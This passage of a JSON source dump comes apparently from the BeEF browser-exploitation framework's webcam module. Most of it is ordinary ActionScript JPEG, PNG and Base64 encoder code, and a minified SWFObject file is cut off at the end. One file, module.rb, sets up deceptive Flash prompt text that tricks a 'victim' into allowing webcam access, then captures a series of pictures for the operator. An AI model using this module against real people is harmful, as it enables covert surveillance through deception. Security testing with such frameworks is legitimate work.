tmp13:Number;\r\n\t\t\tvar z1:Number, z2:Number, z3:Number, z4:Number, z5:Number, z11:Number, z13:Number;\r\n\t\t\tvar i:int;\r\n\t\t\t/* Pass 1: process rows. */\r\n\t\t\tvar dataOff:int=0;\r\n\t\t\tfor (i=0; i<8; i++) {\r\n\t\t\t\ttmp0 = data[dataOff+0] + data[dataOff+7];\r\n\t\t\t\ttmp7 = data[dataOff+0] - data[dataOff+7];\r\n\t\t\t\ttmp1 = data[dataOff+1] + data[dataOff+6];\r\n\t\t\t\ttmp6 = data[dataOff+1] - data[dataOff+6];\r\n\t\t\t\ttmp2 = data[dataOff+2] + data[dataOff+5];\r\n\t\t\t\ttmp5 = data[dataOff+2] - data[dataOff+5];\r\n\t\t\t\ttmp3 = data[dataOff+3] + data[dataOff+4];\r\n\t\t\t\ttmp4 = data[dataOff+3] - data[dataOff+4];\r\n\t\r\n\t\t\t\t/* Even part */\r\n\t\t\t\ttmp10 = tmp0 + tmp3;\t/* phase 2 */\r\n\t\t\t\ttmp13 = tmp0 - tmp3;\r\n\t\t\t\ttmp11 = tmp1 + tmp2;\r\n\t\t\t\ttmp12 = tmp1 - tmp2;\r\n\t\r\n\t\t\t\tdata[dataOff+0] = tmp10 + tmp11; /* phase 3 */\r\n\t\t\t\tdata[dataOff+4] = tmp10 - tmp11;\r\n\t\r\n\t\t\t\tz1 = (tmp12 + tmp13) * 0.707106781; /* c4 */\r\n\t\t\t\tdata[dataOff+2] = tmp13 + z1; /* phase 5 */\r\n\t\t\t\tdata[dataOff+6] = tmp13 - z1;\r\n\t\r\n\t\t\t\t/* Odd part */\r\n\t\t\t\ttmp10 = tmp4 + tmp5; /* phase 2 */\r\n\t\t\t\ttmp11 = tmp5 + tmp6;\r\n\t\t\t\ttmp12 = tmp6 + tmp7;\r\n\t\r\n\t\t\t\t/* The rotator is modified from fig 4-8 to avoid extra negations. */\r\n\t\t\t\tz5 = (tmp10 - tmp12) * 0.382683433; /* c6 */\r\n\t\t\t\tz2 = 0.541196100 * tmp10 + z5; /* c2-c6 */\r\n\t\t\t\tz4 = 1.306562965 * tmp12 + z5; /* c2+c6 */\r\n\t\t\t\tz3 = tmp11 * 0.707106781; /* c4 */\r\n\t\r\n\t\t\t\tz11 = tmp7 + z3;\t/* phase 5 */\r\n\t\t\t\tz13 = tmp7 - z3;\r\n\t\r\n\t\t\t\tdata[dataOff+5] = z13 + z2;\t/* phase 6 */\r\n\t\t\t\tdata[dataOff+3] = z13 - z2;\r\n\t\t\t\tdata[dataOff+1] = z11 + z4;\r\n\t\t\t\tdata[dataOff+7] = z11 - z4;\r\n\t\r\n\t\t\t\tdataOff += 8; /* advance pointer to next row */\r\n\t\t\t}\r\n\t\r\n\t\t\t/* Pass 2: process columns. */\r\n\t\t\tdataOff = 0;\r\n\t\t\tfor (i=0; i<8; i++) {\r\n\t\t\t\ttmp0 = data[dataOff+ 0] + data[dataOff+56];\r\n\t\t\t\ttmp7 = data[dataOff+ 0] - data[dataOff+56];\r\n\t\t\t\ttmp1 = data[dataOff+ 8] + data[dataOff+48];\r\n\t\t\t\ttmp6 = data[dataOff+ 8] - data[dataOff+48];\r\n\t\t\t\ttmp2 = data[dataOff+16] + data[dataOff+40];\r\n\t\t\t\ttmp5 = data[dataOff+16] - data[dataOff+40];\r\n\t\t\t\ttmp3 = data[dataOff+24] + data[dataOff+32];\r\n\t\t\t\ttmp4 = data[dataOff+24] - data[dataOff+32];\r\n\t\r\n\t\t\t\t/* Even part */\r\n\t\t\t\ttmp10 = tmp0 + tmp3;\t/* phase 2 */\r\n\t\t\t\ttmp13 = tmp0 - tmp3;\r\n\t\t\t\ttmp11 = tmp1 + tmp2;\r\n\t\t\t\ttmp12 = tmp1 - tmp2;\r\n\t\r\n\t\t\t\tdata[dataOff+ 0] = tmp10 + tmp11; /* phase 3 */\r\n\t\t\t\tdata[dataOff+32] = tmp10 - tmp11;\r\n\t\r\n\t\t\t\tz1 = (tmp12 + tmp13) * 0.707106781; /* c4 */\r\n\t\t\t\tdata[dataOff+16] = tmp13 + z1; /* phase 5 */\r\n\t\t\t\tdata[dataOff+48] = tmp13 - z1;\r\n\t\r\n\t\t\t\t/* Odd part */\r\n\t\t\t\ttmp10 = tmp4 + tmp5; /* phase 2 */\r\n\t\t\t\ttmp11 = tmp5 + tmp6;\r\n\t\t\t\ttmp12 = tmp6 + tmp7;\r\n\t\r\n\t\t\t\t/* The rotator is modified from fig 4-8 to avoid extra negations. */\r\n\t\t\t\tz5 = (tmp10 - tmp12) * 0.382683433; /* c6 */\r\n\t\t\t\tz2 = 0.541196100 * tmp10 + z5; /* c2-c6 */\r\n\t\t\t\tz4 = 1.306562965 * tmp12 + z5; /* c2+c6 */\r\n\t\t\t\tz3 = tmp11 * 0.707106781; /* c4 */\r\n\t\r\n\t\t\t\tz11 = tmp7 + z3;\t/* phase 5 */\r\n\t\t\t\tz13 = tmp7 - z3;\r\n\t\r\n\t\t\t\tdata[dataOff+40] = z13 + z2; /* phase 6 */\r\n\t\t\t\tdata[dataOff+24] = z13 - z2;\r\n\t\t\t\tdata[dataOff+ 8] = z11 + z4;\r\n\t\t\t\tdata[dataOff+56] = z11 - z4;\r\n\t\r\n\t\t\t\tdataOff++; /* advance pointer to next column */\r\n\t\t\t}\r\n\t\r\n\t\t\t// Quantize/descale the coefficients\r\n\t\t\tfor (i=0; i<64; i++) {\r\n\t\t\t\t// Apply the quantization and scaling factor & Round to nearest integer\r\n\t\t\t\tdata[i] = Math.round((data[i]*fdtbl[i]));\r\n\t\t\t}\r\n\t\t\treturn data;\r\n\t\t}\r\n\t\r\n\t\t// Chunk writing\r\n\t\r\n\t\tprivate function writeAPP0():void\r\n\t\t{\r\n\t\t\twriteWord(0xFFE0); // marker\r\n\t\t\twriteWord(16); // length\r\n\t\t\twriteByte(0x4A); // J\r\n\t\t\twriteByte(0x46); // F\r\n\t\t\twriteByte(0x49); // I\r\n\t\t\twriteByte(0x46); // F\r\n\t\t\twriteByte(0); // = \"JFIF\",'\\0'\r\n\t\t\twriteByte(1); // versionhi\r\n\t\t\twriteByte(1); // versionlo\r\n\t\t\twriteByte(0); // xyunits\r\n\t\t\twriteWord(1); // xdensity\r\n\t\t\twriteWord(1); // ydensity\r\n\t\t\twriteByte(0); // thumbnwidth\r\n\t\t\twriteByte(0); // thumbnheight\r\n\t\t}\r\n\t\r\n\t\tprivate function writeSOF0(width:int, height:int):void\r\n\t\t{\r\n\t\t\twriteWord(0xFFC0); // marker\r\n\t\t\twriteWord(17);   // length, truecolor YUV JPG\r\n\t\t\twriteByte(8);    // precision\r\n\t\t\twriteWord(height);\r\n\t\t\twriteWord(width);\r\n\t\t\twriteByte(3);    // nrofcomponents\r\n\t\t\twriteByte(1);    // IdY\r\n\t\t\twriteByte(0x11); // HVY\r\n\t\t\twriteByte(0);    // QTY\r\n\t\t\twriteByte(2);    // IdU\r\n\t\t\twriteByte(0x11); // HVU\r\n\t\t\twriteByte(1);    // QTU\r\n\t\t\twriteByte(3);    // IdV\r\n\t\t\twriteByte(0x11); // HVV\r\n\t\t\twriteByte(1);    // QTV\r\n\t\t}\r\n\t\r\n\t\tprivate function writeDQT():void\r\n\t\t{\r\n\t\t\twriteWord(0xFFDB); // marker\r\n\t\t\twriteWord(132);\t   // length\r\n\t\t\twriteByte(0);\r\n\t\t\tvar i:int;\r\n\t\t\tfor (i=0; i<64; i++) {\r\n\t\t\t\twriteByte(YTable[i]);\r\n\t\t\t}\r\n\t\t\twriteByte(1);\r\n\t\t\tfor (i=0; i<64; i++) {\r\n\t\t\t\twriteByte(UVTable[i]);\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\tprivate function writeDHT():void\r\n\t\t{\r\n\t\t\twriteWord(0xFFC4); // marker\r\n\t\t\twriteWord(0x01A2); // length\r\n\t\t\tvar i:int;\r\n\t\r\n\t\t\twriteByte(0); // HTYDCinfo\r\n\t\t\tfor (i=0; i<16; i++) {\r\n\t\t\t\twriteByte(std_dc_luminance_nrcodes[i+1]);\r\n\t\t\t}\r\n\t\t\tfor (i=0; i<=11; i++) {\r\n\t\t\t\twriteByte(std_dc_luminance_values[i]);\r\n\t\t\t}\r\n\t\r\n\t\t\twriteByte(0x10); // HTYACinfo\r\n\t\t\tfor (i=0; i<16; i++) {\r\n\t\t\t\twriteByte(std_ac_luminance_nrcodes[i+1]);\r\n\t\t\t}\r\n\t\t\tfor (i=0; i<=161; i++) {\r\n\t\t\t\twriteByte(std_ac_luminance_values[i]);\r\n\t\t\t}\r\n\t\r\n\t\t\twriteByte(1); // HTUDCinfo\r\n\t\t\tfor (i=0; i<16; i++) {\r\n\t\t\t\twriteByte(std_dc_chrominance_nrcodes[i+1]);\r\n\t\t\t}\r\n\t\t\tfor (i=0; i<=11; i++) {\r\n\t\t\t\twriteByte(std_dc_chrominance_values[i]);\r\n\t\t\t}\r\n\t\r\n\t\t\twriteByte(0x11); // HTUACinfo\r\n\t\t\tfor (i=0; i<16; i++) {\r\n\t\t\t\twriteByte(std_ac_chrominance_nrcodes[i+1]);\r\n\t\t\t}\r\n\t\t\tfor (i=0; i<=161; i++) {\r\n\t\t\t\twriteByte(std_ac_chrominance_values[i]);\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\tprivate function writeSOS():void\r\n\t\t{\r\n\t\t\twriteWord(0xFFDA); // marker\r\n\t\t\twriteWord(12); // length\r\n\t\t\twriteByte(3); // nrofcomponents\r\n\t\t\twriteByte(1); // IdY\r\n\t\t\twriteByte(0); // HTY\r\n\t\t\twriteByte(2); // IdU\r\n\t\t\twriteByte(0x11); // HTU\r\n\t\t\twriteByte(3); // IdV\r\n\t\t\twriteByte(0x11); // HTV\r\n\t\t\twriteByte(0); // Ss\r\n\t\t\twriteByte(0x3f); // Se\r\n\t\t\twriteByte(0); // Bf\r\n\t\t}\r\n\t\r\n\t\t// Core processing\r\n\t\tprivate var DU:Array = new Array(64);\r\n\t\r\n\t\tprivate function processDU(CDU:Array, fdtbl:Array, DC:Number, HTDC:Array, HTAC:Array):Number\r\n\t\t{\r\n\t\t\tvar EOB:BitString = HTAC[0x00];\r\n\t\t\tvar M16zeroes:BitString = HTAC[0xF0];\r\n\t\t\tvar i:int;\r\n\t\r\n\t\t\tvar DU_DCT:Array = fDCTQuant(CDU, fdtbl);\r\n\t\t\t//ZigZag reorder\r\n\t\t\tfor (i=0;i<64;i++) {\r\n\t\t\t\tDU[ZigZag[i]]=DU_DCT[i];\r\n\t\t\t}\r\n\t\t\tvar Diff:int = DU[0] - DC; DC = DU[0];\r\n\t\t\t//Encode DC\r\n\t\t\tif (Diff==0) {\r\n\t\t\t\twriteBits(HTDC[0]); // Diff might be 0\r\n\t\t\t} else {\r\n\t\t\t\twriteBits(HTDC[category[32767+Diff]]);\r\n\t\t\t\twriteBits(bitcode[32767+Diff]);\r\n\t\t\t}\r\n\t\t\t//Encode ACs\r\n\t\t\tvar end0pos:int = 63;\r\n\t\t\tfor (; (end0pos>0)&&(DU[end0pos]==0); end0pos--) {\r\n\t\t\t};\r\n\t\t\t//end0pos = first element in reverse order !=0\r\n\t\t\tif ( end0pos == 0) {\r\n\t\t\t\twriteBits(EOB);\r\n\t\t\t\treturn DC;\r\n\t\t\t}\r\n\t\t\ti = 1;\r\n\t\t\twhile ( i <= end0pos ) {\r\n\t\t\t\tvar startpos:int = i;\r\n\t\t\t\tfor (; (DU[i]==0) && (i<=end0pos); i++) {\r\n\t\t\t\t}\r\n\t\t\t\tvar nrzeroes:int = i-startpos;\r\n\t\t\t\tif ( nrzeroes >= 16 ) {\r\n\t\t\t\t\tfor (var nrmarker:int=1; nrmarker <= nrzeroes/16; nrmarker++) {\r\n\t\t\t\t\t\twriteBits(M16zeroes);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tnrzeroes = int(nrzeroes&0xF);\r\n\t\t\t\t}\r\n\t\t\t\twriteBits(HTAC[nrzeroes*16+category[32767+DU[i]]]);\r\n\t\t\t\twriteBits(bitcode[32767+DU[i]]);\r\n\t\t\t\ti++;\r\n\t\t\t}\r\n\t\t\tif ( end0pos != 63 ) {\r\n\t\t\t\twriteBits(EOB);\r\n\t\t\t}\r\n\t\t\treturn DC;\r\n\t\t}\r\n\t\r\n\t\tprivate var YDU:Array = new Array(64);\r\n\t\tprivate var UDU:Array = new Array(64);\r\n\t\tprivate var VDU:Array = new Array(64);\r\n\t\r\n\t\tprivate function RGB2YUV(img:BitmapData, xpos:int, ypos:int):void\r\n\t\t{\r\n\t\t\tvar pos:int=0;\r\n\t\t\tfor (var y:int=0; y<8; y++) {\r\n\t\t\t\tfor (var x:int=0; x<8; x++) {\r\n\t\t\t\t\tvar P:uint = img.getPixel32(xpos+x,ypos+y);\r\n\t\t\t\t\tvar R:Number = Number((P>>16)&0xFF);\r\n\t\t\t\t\tvar G:Number = Number((P>> 8)&0xFF);\r\n\t\t\t\t\tvar B:Number = Number((P    )&0xFF);\r\n\t\t\t\t\tYDU[pos]=((( 0.29900)*R+( 0.58700)*G+( 0.11400)*B))-128;\r\n\t\t\t\t\tUDU[pos]=(((-0.16874)*R+(-0.33126)*G+( 0.50000)*B));\r\n\t\t\t\t\tVDU[pos]=((( 0.50000)*R+(-0.41869)*G+(-0.08131)*B));\r\n\t\t\t\t\tpos++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\t/**\r\n\t\t * Constructor for JPEGEncoder class\r\n\t\t *\r\n\t\t * @param quality The quality level between 1 and 100 that detrmines the\r\n\t\t * level of compression used in the generated JPEG\r\n\t\t * @langversion ActionScript 3.0\r\n\t\t * @playerversion Flash 9.0\r\n\t\t * @tiptext\r\n\t\t */\t\t\r\n\t\tpublic function JPGEncoder(quality:Number = 50)\r\n\t\t{\r\n\t\t\tif (quality <= 0) {\r\n\t\t\t\tquality = 1;\r\n\t\t\t}\r\n\t\t\tif (quality > 100) {\r\n\t\t\t\tquality = 100;\r\n\t\t\t}\r\n\t\t\tvar sf:int = 0;\r\n\t\t\tif (quality < 50) {\r\n\t\t\t\tsf = int(5000 / quality);\r\n\t\t\t} else {\r\n\t\t\t\tsf = int(200 - quality*2);\r\n\t\t\t}\r\n\t\t\t// Create tables\r\n\t\t\tinitHuffmanTbl();\r\n\t\t\tinitCategoryNumber();\r\n\t\t\tinitQuantTables(sf);\r\n\t\t}\r\n\t\r\n\t\t/**\r\n\t\t * Created a JPEG image from the specified BitmapData\r\n\t\t *\r\n\t\t * @param image The BitmapData that will be converted into the JPEG format.\r\n\t\t * @return a ByteArray representing the JPEG encoded image data.\r\n\t\t * @langversion ActionScript 3.0\r\n\t\t * @playerversion Flash 9.0\r\n\t\t * @tiptext\r\n\t\t */\t\r\n\t\tpublic function encode(image:BitmapData):ByteArray\r\n\t\t{\r\n\t\t\t// Initialize bit writer\r\n\t\t\tbyteout = new ByteArray();\r\n\t\t\tbytenew=0;\r\n\t\t\tbytepos=7;\r\n\t\r\n\t\t\t// Add JPEG headers\r\n\t\t\twriteWord(0xFFD8); // SOI\r\n\t\t\twriteAPP0();\r\n\t\t\twriteDQT();\r\n\t\t\twriteSOF0(image.width,image.height);\r\n\t\t\twriteDHT();\r\n\t\t\twriteSOS();\r\n\r\n\t\r\n\t\t\t// Encode 8x8 macroblocks\r\n\t\t\tvar DCY:Number=0;\r\n\t\t\tvar DCU:Number=0;\r\n\t\t\tvar DCV:Number=0;\r\n\t\t\tbytenew=0;\r\n\t\t\tbytepos=7;\r\n\t\t\tfor (var ypos:int=0; ypos<image.height; ypos+=8) {\r\n\t\t\t\tfor (var xpos:int=0; xpos<image.width; xpos+=8) {\r\n\t\t\t\t\tRGB2YUV(image, xpos, ypos);\r\n\t\t\t\t\tDCY = processDU(YDU, fdtbl_Y, DCY, YDC_HT, YAC_HT);\r\n\t\t\t\t\tDCU = processDU(UDU, fdtbl_UV, DCU, UVDC_HT, UVAC_HT);\r\n\t\t\t\t\tDCV = processDU(VDU, fdtbl_UV, DCV, UVDC_HT, UVAC_HT);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\r\n\t\t\t// Do the bit alignment of the EOI marker\r\n\t\t\tif ( bytepos >= 0 ) {\r\n\t\t\t\tvar fillbits:BitString = new BitString();\r\n\t\t\t\tfillbits.len = bytepos+1;\r\n\t\t\t\tfillbits.val = (1<<(bytepos+1))-1;\r\n\t\t\t\twriteBits(fillbits);\r\n\t\t\t}\r\n\t\r\n\t\t\twriteWord(0xFFD9); //EOI\r\n\t\t\treturn byteout;\r\n\t\t}\r\n\t}\r\n}\r\n"
  },
  {
    "path": "modules/browser/webcam_flash/dev/com/adobe/images/PNGEncoder.as",
    "content": "/*\r\n  Copyright (c) 2008, Adobe Systems Incorporated\r\n  All rights reserved.\r\n\r\n  Redistribution and use in source and binary forms, with or without \r\n  modification, are permitted provided that the following conditions are\r\n  met:\r\n\r\n  * Redistributions of source code must retain the above copyright notice, \r\n    this list of conditions and the following disclaimer.\r\n  \r\n  * Redistributions in binary form must reproduce the above copyright\r\n    notice, this list of conditions and the following disclaimer in the \r\n    documentation and/or other materials provided with the distribution.\r\n  \r\n  * Neither the name of Adobe Systems Incorporated nor the names of its \r\n    contributors may be used to endorse or promote products derived from \r\n    this software without specific prior written permission.\r\n\r\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\r\n  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\r\n  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\r\n  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \r\n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\r\n  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\r\n  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n*/\r\npackage com.adobe.images\r\n{\r\n\timport flash.geom.*;\r\n\timport flash.display.Bitmap;\r\n\timport flash.display.BitmapData;\r\n\timport flash.utils.ByteArray;\r\n\r\n\t/**\r\n\t * Class that converts BitmapData into a valid PNG\r\n\t */\t\r\n\tpublic class PNGEncoder\r\n\t{\r\n\t\t/**\r\n\t\t * Created a PNG image from the specified BitmapData\r\n\t\t *\r\n\t\t * @param image The BitmapData that will be converted into the PNG format.\r\n\t\t * @return a ByteArray representing the PNG encoded image data.\r\n\t\t * @langversion ActionScript 3.0\r\n\t\t * @playerversion Flash 9.0\r\n\t\t * @tiptext\r\n\t\t */\t\t\t\r\n\t    public static function encode(img:BitmapData):ByteArray {\r\n\t        // Create output byte array\r\n\t        var png:ByteArray = new ByteArray();\r\n\t        // Write PNG signature\r\n\t        png.writeUnsignedInt(0x89504e47);\r\n\t        png.writeUnsignedInt(0x0D0A1A0A);\r\n\t        // Build IHDR chunk\r\n\t        var IHDR:ByteArray = new ByteArray();\r\n\t        IHDR.writeInt(img.width);\r\n\t        IHDR.writeInt(img.height);\r\n\t        IHDR.writeUnsignedInt(0x08060000); // 32bit RGBA\r\n\t        IHDR.writeByte(0);\r\n\t        writeChunk(png,0x49484452,IHDR);\r\n\t        // Build IDAT chunk\r\n\t        var IDAT:ByteArray= new ByteArray();\r\n\t        for(var i:int=0;i < img.height;i++) {\r\n\t            // no filter\r\n\t            IDAT.writeByte(0);\r\n\t            var p:uint;\r\n\t            var j:int;\r\n\t            if ( !img.transparent ) {\r\n\t                for(j=0;j < img.width;j++) {\r\n\t                    p = img.getPixel(j,i);\r\n\t                    IDAT.writeUnsignedInt(\r\n\t                        uint(((p&0xFFFFFF) << 8)|0xFF));\r\n\t                }\r\n\t            } else {\r\n\t                for(j=0;j < img.width;j++) {\r\n\t                    p = img.getPixel32(j,i);\r\n\t                    IDAT.writeUnsignedInt(\r\n\t                        uint(((p&0xFFFFFF) << 8)|\r\n\t                        (p>>>24)));\r\n\t                }\r\n\t            }\r\n\t        }\r\n\t        IDAT.compress();\r\n\t        writeChunk(png,0x49444154,IDAT);\r\n\t        // Build IEND chunk\r\n\t        writeChunk(png,0x49454E44,null);\r\n\t        // return PNG\r\n\t        return png;\r\n\t    }\r\n\t\r\n\t    private static var crcTable:Array;\r\n\t    private static var crcTableComputed:Boolean = false;\r\n\t\r\n\t    private static function writeChunk(png:ByteArray, \r\n\t            type:uint, data:ByteArray):void {\r\n\t        if (!crcTableComputed) {\r\n\t            crcTableComputed = true;\r\n\t            crcTable = [];\r\n\t            var c:uint;\r\n\t            for (var n:uint = 0; n < 256; n++) {\r\n\t                c = n;\r\n\t                for (var k:uint = 0; k < 8; k++) {\r\n\t                    if (c & 1) {\r\n\t                        c = uint(uint(0xedb88320) ^ \r\n\t                            uint(c >>> 1));\r\n\t                    } else {\r\n\t                        c = uint(c >>> 1);\r\n\t                    }\r\n\t                }\r\n\t                crcTable[n] = c;\r\n\t            }\r\n\t        }\r\n\t        var len:uint = 0;\r\n\t        if (data != null) {\r\n\t            len = data.length;\r\n\t        }\r\n\t        png.writeUnsignedInt(len);\r\n\t        var p:uint = png.position;\r\n\t        png.writeUnsignedInt(type);\r\n\t        if ( data != null ) {\r\n\t            png.writeBytes(data);\r\n\t        }\r\n\t        var e:uint = png.position;\r\n\t        png.position = p;\r\n\t        c = 0xffffffff;\r\n\t        for (var i:int = 0; i < (e-p); i++) {\r\n\t            c = uint(crcTable[\r\n\t                (c ^ png.readUnsignedByte()) & \r\n\t                uint(0xff)] ^ uint(c >>> 8));\r\n\t        }\r\n\t        c = uint(c^uint(0xffffffff));\r\n\t        png.position = e;\r\n\t        png.writeUnsignedInt(c);\r\n\t    }\r\n\t}\r\n}"
  },
  {
    "path": "modules/browser/webcam_flash/dev/com/foxarc/util/Base64.as",
    "content": "package com.foxarc.util{  \n    import flash.utils.ByteArray;  \n    public class Base64 {  \n        private static  const encodeChars:Array =   \n        ['A','B','C','D','E','F','G','H',  \n        'I','J','K','L','M','N','O','P',  \n        'Q','R','S','T','U','V','W','X',  \n        'Y','Z','a','b','c','d','e','f',  \n        'g','h','i','j','k','l','m','n',  \n        'o','p','q','r','s','t','u','v',  \n        'w','x','y','z','0','1','2','3',  \n        '4','5','6','7','8','9','+','/'];  \n        private static  const decodeChars:Array =   \n        [-1, -1, -1, -1, -1, -1, -1, -1,  \n        -1, -1, -1, -1, -1, -1, -1, -1,  \n        -1, -1, -1, -1, -1, -1, -1, -1,  \n        -1, -1, -1, -1, -1, -1, -1, -1,  \n        -1, -1, -1, -1, -1, -1, -1, -1,  \n        -1, -1, -1, 62, -1, -1, -1, 63,  \n        52, 53, 54, 55, 56, 57, 58, 59,  \n        60, 61, -1, -1, -1, -1, -1, -1,  \n        -1,  0,  1,  2,  3,  4,  5,  6,  \n         7,  8,  9, 10, 11, 12, 13, 14,  \n        15, 16, 17, 18, 19, 20, 21, 22,  \n        23, 24, 25, -1, -1, -1, -1, -1,  \n        -1, 26, 27, 28, 29, 30, 31, 32,  \n        33, 34, 35, 36, 37, 38, 39, 40,  \n        41, 42, 43, 44, 45, 46, 47, 48,  \n        49, 50, 51, -1, -1, -1, -1, -1];  \n        public static function encode(data:ByteArray):String {  \n            var out:Array = [];  \n            var i:int = 0;  \n            var j:int = 0;  \n            var r:int = data.length % 3;  \n            var len:int = data.length - r;  \n            var c:int;  \n            while (i < len) {  \n                c = data[i++] << 16 | data[i++] << 8 | data[i++];  \n                out[j++] = encodeChars[c >> 18] + encodeChars[c >> 12 & 0x3f] + encodeChars[c >> 6 & 0x3f] + encodeChars[c & 0x3f];  \n            }  \n            if (r == 1) {  \n                c = data[i++];  \n                out[j++] = encodeChars[c >> 2] + encodeChars[(c & 0x03) << 4] + \"==\";  \n            }  \n            else if (r == 2) {  \n                c = data[i++] << 8 | data[i++];  \n                out[j++] = encodeChars[c >> 10] + encodeChars[c >> 4 & 0x3f] + encodeChars[(c & 0x0f) << 2] + \"=\";  \n            }  \n            return out.join('');  \n        }  \n        public static function decode(str:String):ByteArray {  \n            var c1:int;  \n            var c2:int;  \n            var c3:int;  \n            var c4:int;  \n            var i:int;  \n            var len:int;  \n            var out:ByteArray;  \n            len = str.length;  \n            i = 0;  \n            out = new ByteArray();  \n            while (i < len) {  \n                // c1  \n                do {  \n                    c1 = decodeChars[str.charCodeAt(i++) & 0xff];  \n                } while (i < len && c1 == -1);  \n                if (c1 == -1) {  \n                    break;  \n                }  \n                // c2      \n                do {  \n                    c2 = decodeChars[str.charCodeAt(i++) & 0xff];  \n                } while (i < len && c2 == -1);  \n                if (c2 == -1) {  \n                    break;  \n                }  \n                out.writeByte((c1 << 2) | ((c2 & 0x30) >> 4));  \n                // c3  \n                do {  \n                    c3 = str.charCodeAt(i++) & 0xff;  \n                    if (c3 == 61) {  \n                        return out;  \n                    }  \n                    c3 = decodeChars[c3];  \n                } while (i < len && c3 == -1);  \n                if (c3 == -1) {  \n                    break;  \n                }  \n                out.writeByte(((c2 & 0x0f) << 4) | ((c3 & 0x3c) >> 2));  \n                // c4  \n                do {  \n                    c4 = str.charCodeAt(i++) & 0xff;  \n                    if (c4 == 61) {  \n                        return out;  \n                    }  \n                    c4 = decodeChars[c4];  \n                } while (i < len && c4 == -1);  \n                if (c4 == -1) {  \n                    break;  \n                }  \n                out.writeByte(((c3 & 0x03) << 6) | c4);  \n            }  \n            return out;  \n        }  \n    }  \n}"
  },
  {
    "path": "modules/browser/webcam_flash/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'base64'\nclass Webcam_flash < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_flash/takeit.swf', '/takeit', 'swf')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_flash/swfobject.js', '/swfobject', 'js')\n  end\n\n  def self.options\n    social_engineering_title = 'This website is using Adobe Flash'\n    social_engineering_text = 'In order to work with the programming framework this website is using, you need to allow the Adobe Flash Player Settings. If you use the new Ajax and HTML5 features in conjunction with Adobe Flash Player, it will improve your user experience.'\n    no_of_pictures = 20\n    interval = 1000\n    [\n      { 'name' => 'social_engineering_title',\n        'description' => 'The title that is shown to the victim.',\n        'ui_label' => 'Social Engineering Title',\n        'value' => social_engineering_title,\n        'width' => '100px' }, {\n          'name' => 'social_engineering_text',\n          'description' => 'The social engineering text you want to show to convince the user to click the Allow button.',\n          'ui_label' => 'Social Engineering Text',\n          'value' => social_engineering_text,\n          'width' => '300px',\n          'type' => 'textarea'\n        }, {\n          'name' => 'no_of_pictures',\n          'description' => 'The number of pictures you want to take after the victim clicked \"allow\".',\n          'ui_label' => 'Number of pictures',\n          'value' => no_of_pictures,\n          'width' => '100px'\n        }, {\n          'name' => 'interval',\n          'description' => 'The interval in which pictures are taken.',\n          'ui_label' => 'Interval to take pictures (ms)',\n          'value' => interval,\n          'width' => '100px'\n        }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    content['picture'] = @datastore['picture'] unless @datastore['picture'].nil?\n    save content\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/takeit.swf')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js')\n  end\nend\n"
  },
  {
    "path": "modules/browser/webcam_flash/swfobject.js",
    "content": "/*\tSWFObject v2.2 <http://code.google.com/p/swfobject/> \n\tis released under the MIT License <http://www.opensource.org/licenses/mit-license.php> \n*/\nvar swfobject=function(){var D=\"undefined\",r=\"object\",S=\"Shockwave Flash\",W=\"ShockwaveFlash.ShockwaveFlash\",q=\"application/x-shockwave-flash\",R=\"SWFObjectExprInst\",x=\"onreadystatechange\",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\\/(\\d+(\\.\\d+)?).*$/,\"$1\")):false,X=!+\"\\v1\",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\\s+(\\S+\\s+\\S+$)/,\"$1\");ag[0]=parseInt(ab.replace(/^(.*)\\..*$/,\"$1\"),10);ag[1]=parseInt(ab.replace(/^.*\\.(.*)\\s.*$/,\"$1\"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,\"$1\"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable(\"$version\");if(ab){X=true;ab=ab.split(\" 